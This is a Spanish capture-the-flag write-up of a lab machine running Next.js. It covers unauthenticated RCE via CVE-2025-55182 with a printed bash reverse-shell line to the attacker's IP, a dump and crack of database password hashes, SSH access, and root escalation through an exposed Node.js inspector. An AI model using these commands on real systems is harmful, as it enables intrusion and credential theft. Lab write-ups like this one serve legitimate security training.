01Resumen
Reactor es una maquina que aloja una web construida en Next.js, la
cual es vulnerable a RCE no autenticada, tras obtener acceso como usuario node
investigamos dicho usuario y encontramos una base de datos con credenciales, accederemos
al usuario y analizando dicho sistema podemos observar un inspector de Node.js
como root, para ello aprovechamos dicho puerto para poder ejecutar un payload y
conseguir el acceso como root.
02Reconocimiento
Lo primero, hacer un escaneo sobre nuestra victima en busca de puertos y versiones.
$nmap -p- --open -Pn -sS --min-rate 5000 10.129.122.150
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-08 18:47 CEST
Nmap scan report for 10.129.122.150
Host is up (0.038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 11.97 seconds
$nmap -p22,3000 -sC -sV 10.129.122.150
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-08 18:51 CEST
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 18:52 (0:00:11 remaining)
Nmap scan report for 10.129.122.150
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Tue, 08 Sep 2026 16:52:06 GMT
| Connection: close
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 15.04 seconds
- Puerto 22 - SSH posible futura conexion
- Puerto 3000 - Posible Web
03Analisis Web
Investigacion de la web en busca de vulnerabilidades:
http://10.129.122.150:3000
Al investigar dicha web podemos ver como no tiene funcionales ninguna, es solo un panel de monitorizacion, a continuacion pasaremos a ver como esta montada.

Como podemos observar esta web esta montada Next.js, el cual es un CMS ademas de esto vemos que estamos ante la version 15.0.3. A continuacion buscaremos informacion sobre esta version.
04Acceso Inicial
Para explotar dicha vulnerabilidad utilizaremos un repositorio de github, para ello nos lo clonaremos en nuestro sistema.
$python3 react2shell-poc.py -t 10.129.122.150:3000 --revshell --lhost 10.10.14.223 --lport 444
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
═══════════════════════════════════════════════════════════════════════════════════════
CVE-2025-55182 - React Server Components RCE
Prototype Pollution → Flight Protocol → RCE
For authorized security testing only
[*] Checking target: http://10.129.122.150:3000
[+] Target is running Next.js
[+] Next.js application detected
[!] Could not confirm vulnerability status - proceeding anyway
[!] Attempting reverse shell to 10.10.14.223:444
[!] Ensure your listener is running!
[*] Trying shell payload 1/4...
[*] Target: http://10.129.122.150:3000
[*] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.223/444 0>&1'
[*] Payload size: 295 bytes
[*] Sending malicious Flight payload...
[+] Payload delivered via multipart to http://10.129.122.150:3000
[+] Reverse shell payload sent!
A continuacion explicare lo ejecutado
- -t : Direccion de nuestra web victima
- --revshell : Indicamos que queremos crear una reverse shell
- --lhost : Indicamos nuestra direccion IP.
- --lport : Indicamos el puerto por el que vamos a recibir la shell
$nc -lvpn 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.122.150 48844
bash: cannot set terminal process group (1390): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$
Como podemos observar este script nos ha dado una reserve shell con el usuario node. Una vez tengamos la shell pasaremos a investigar dicho sistema.
node@reactor:/opt/reactor-app$ ls -la
total 76
drwxr-xr-x 5 node node 4096 Dec 28 2025 .
drwxr-xr-x 4 root root 4096 Apr 27 11:26 ..
drwxr-xr-x 2 node node 4096 Dec 28 2025 app
-rw-r--r-- 1 node node 276 Dec 28 2025 .env
drwxr-xr-x 7 node node 4096 Dec 28 2025 .next
-rw-r--r-- 1 node node 172 Dec 28 2025 next.config.js
drwxr-xr-x 30 node node 4096 Dec 28 2025 node_modules
-rw-r--r-- 1 node node 269 Dec 28 2025 package.json
-rw-r--r-- 1 node node 29329 Dec 28 2025 package-lock.json
-rw-r----- 1 node node 12288 Dec 28 2025 reactor.db
node@reactor:/opt/reactor-app$
Como podemos observar tenemos una base de datos la cual se llama reactor.db, a continuacion pasaremos a ver su contenido.
node@reactor:/opt/reactor-app$ sqlite3 reactor.db
.tables
sensor_logs users
select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
Al abrir dicha base de datos hemos listado las tablas ademas de listar todo el contenido de la tabla users. para ello hemos usado:
- .tables - Para ver todas las tablas.
- select * from users - Indicamos que queremos listar todo el contenido de la tabla users.
05Cracking de Credenciales
Como ya he menciado anteriormente, a continuacion pasaremos a intetar crackear los hashes que hemos conseguido.
$ john --format=Raw-MD5 -w /usr/share/wordlists/rockyou.txt hashes.txt
john --format=Raw-MD5 -w /usr/share/wordlists/rockyou.txt hashes.txt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 53 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Remaining 52 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=12
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
emerald (?)
1g 0:00:00:00 DONE (2026-09-09 20:02) 100.0g/s 354600p/s 354600c/s 18199KC/s !@#$%..sss
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Como podemos ver nos ha reportado que ha conseguido crackear una password, a continuacion pasaremos a ver en texto plano nuestro contraseña, para ello ejecutaremos:
$ john --show --format=Raw-MD5 hashes.txt
enginerr:reactor1
1 password hash cracked, 1 left
Ya nos ha reportado un usuario y su correspondiente contraseña, a continuacion pasaremos a intentar hacer un inicio de sesion mediante SSH ya que en el reporte de nmap, este nos ha mostrado que este puerto esta abierto.
06Acceso por SSH
$ ssh engineer@10.129.122.150
engineer@10.129.123.95's password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Wed Sep 9 18:11:20 2026 from 110.129.122.150
engineer@reactor:~$
Como podemos observar hemos conseguido inicar sesion mediante ssh con el usuario engineer. A continuacion pasaremos a investigar dicha sesion.
engineer@reactor:~$ ls -la
user.txt
engineer@reactor:~$cat user.txt
[flag]
engineer@reactor:~$
Al investigar dicha sesion podemos observar como hemos conseguido nuestra primera flag. Tras tenerla y reportarla, pasaremos a la escalda de privilegios.
05Escalada de Privilegios
Al conseguir acceso a la maquina victima con el usuario engineer, pasaremos a hacer la escalada de privilegios, para ello utilizaremos linpeas el cual nos escanea el sistema en busca malas configuraciones, vulnerabilidades...
$python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Creamos un servidor HTTP con python para poder enviarnos linpeas.sh a nuesra maquina
victima
engineer@reactor:~$ wget http://10.10.14.223/linpeas.sh
--2026-09-06 12:33:02-- http://10.10.14.223/linpeas.sh
Connecting to 10.10.14.223:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1144032 (1.1M) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=====================================>] 1.09M 4.81MB/s in 0.2s
2026-09-06 12:33:02 (4.81 MB/s) - ‘linpeas.sh’ saved [1144032/1144032]
engineer@reactor
$./linpeas.sh
╔══════════╣ Running processes (cleaned) (T1057)
╚ Check weird & unexpected processes run by root:
root 1 0.0 0.3 22112 13352 ? Ss 18:01 0:02 /sbin/init
root 405 0.0 0.3 66836 12752 ? Ss 18:01 0:00 /usr/lib/systemd/
systemd-journald
root 462 0.0 0.2 31592 10256 ? Ss 18:01 0:00 /usr/lib/systemd/systemd-udevd
systemd+ 602 0.0 0.3 21588 12964 ? Ss 18:01 0:00 /usr/lib/systemd/
systemd-resolved
root 1420 0.0 1.1 1067060 47356 ? Ssl 18:01 0:00 /usr/bin/node --inspect=127.0.0.1:9229
/opt/uptime-monitor/worker.js
Como podemos observar en el reporte de linpeas, nos mostrara un vector de ataque /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js. Para aprovechar dicha vulnerabilidad haremos un tunel y redigiremos el trafico, para ello haremos lo ejecutaremos:
$ ssh -L 9229:127.0.0.1:9229 engineer@10.129.122.150
engineer@10.129.122.150's password:
Una vez que hemos redirigido el trafico local, pasaremos a abrir chromium para abrir el inpector de node.
chrome:/inspect/#devices

Al abrir dicha ruta podemos ver como nos aparece el trafico que hemos redirigido anteriormente, para poder ejecutar nuestros comandos como root, tendremos que entrar inspect.
DevTools

Como podemos observar ya hemos conseguido la ejecucion de comandos como root. Con esto ya tendriamos acceso completo a nuestra maquina victima.
